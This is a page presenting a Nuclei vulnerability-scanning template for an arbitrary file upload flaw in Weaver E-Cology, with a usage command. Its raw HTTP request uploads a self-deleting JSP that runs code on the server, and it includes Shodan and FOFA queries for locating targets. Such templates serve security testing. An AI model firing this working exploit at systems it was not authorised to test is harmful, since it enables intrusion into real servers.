Weaver E-Cology KtreeUploadAction - Arbitrary File Upload

ID: weaver-ktreeuploadaction-file-upload

Severity: critical

Author: SleepingBag945

Tags: weaver,ecology,fileupload,intrusive

Description

There is a file upload vulnerability in Weaver E-Cology. An attacker can upload any file through KtreeUploadAction.jsp and further exploit it.

YAML Source

id: weaver-ktreeuploadaction-file-upload

info:
  name: Weaver E-Cology KtreeUploadAction - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    There is a file upload vulnerability in Weaver E-Cology. An attacker can upload any file through KtreeUploadAction.jsp and further exploit it.
  reference:
    - https://buaq.net/go-117479.html
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
    product: e-cology
    vendor: weaver
  tags: weaver,ecology,fileupload,intrusive

variables:
  num1: "{{rand_int(40000, 50000)}}"
  num2: "{{rand_int(40000, 50000)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        @timeout: 20s
        POST /weaver/com.weaver.formmodel.apps.ktree.servlet.KtreeUploadAction?action=image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywgljfvib

        ------WebKitFormBoundarywgljfvib
        Content-Disposition: form-data; name="test"; filename="{{randstr}}.jsp"
        Content-Type: image/jpeg

        <%out.print({{num1}} * {{num2}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
        ------WebKitFormBoundarywgljfvib--
      - |
        @timeout: 20s
        GET {{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && contains_all(body_1,'original', 'SUCCESS')"
          - "contains(body_2, '{{result}}') && status_code_2 == 200"
        condition: and

    extractors:
      - type: regex
        name: filename
        group: 1
        regex:
          - "','url':'(.*?)','title"
        internal: true
# digest: 490a0046304402205f12787dd9998f29f1a92a8ea1ad42953ad5cf396a6a2abc30f67c324728c58002204f21d3c9bea7cead7c44ca5ac71a6c0e3e795794a09f96820defa6df04acce74:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/weaver/weaver-ktreeuploadaction-file-upload.yaml"

View on Github